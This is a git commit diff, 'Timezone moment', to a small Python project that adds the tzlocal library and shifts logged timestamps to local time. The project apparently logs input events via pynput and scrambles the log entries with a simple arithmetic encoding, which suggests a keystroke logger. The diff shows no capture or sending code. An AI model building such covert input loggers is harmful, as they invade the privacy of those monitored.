Timezone moment
This commit is contained in:
parent
0caef08c36
commit
ae5a2e0e64
@ -5,6 +5,7 @@
|
|||||||
- Python 3.7+
|
- Python 3.7+
|
||||||
- `pynput` lib
|
- `pynput` lib
|
||||||
- `threading` lib
|
- `threading` lib
|
||||||
|
- `tzlocal` lib
|
||||||
|
|
||||||
## Usage
|
## Usage
|
||||||
|
|
||||||
|
|||||||
@ -1,7 +1,11 @@
|
|||||||
from threading import Thread
|
from threading import Thread
|
||||||
from time import time
|
from time import time
|
||||||
|
from datetime import datetime as dt
|
||||||
|
from tzlocal import get_localzone
|
||||||
from config import LOGPATH
|
from config import LOGPATH
|
||||||
|
|
||||||
|
utc_offset = dt.now(get_localzone()).utcoffset().total_seconds()
|
||||||
|
|
||||||
|
|
||||||
def encode(plain):
|
def encode(plain):
|
||||||
cipher = []
|
cipher = []
|
||||||
@ -18,8 +22,9 @@ def encode(plain):
|
|||||||
|
|
||||||
class LogThread(Thread):
|
class LogThread(Thread):
|
||||||
def __init__(self, data):
|
def __init__(self, data):
|
||||||
|
global utc_offset
|
||||||
Thread.__init__(self)
|
Thread.__init__(self)
|
||||||
self.data = list(data) + [int(time() * 1000)]
|
self.data = list(data) + [int((time() + utc_offset) * 1000)]
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
cipher = list(map(lambda n: n * 228 - 54, self.data))
|
cipher = list(map(lambda n: n * 228 - 54, self.data))
|
||||||
|
|||||||
Reference in New Issue
Block a user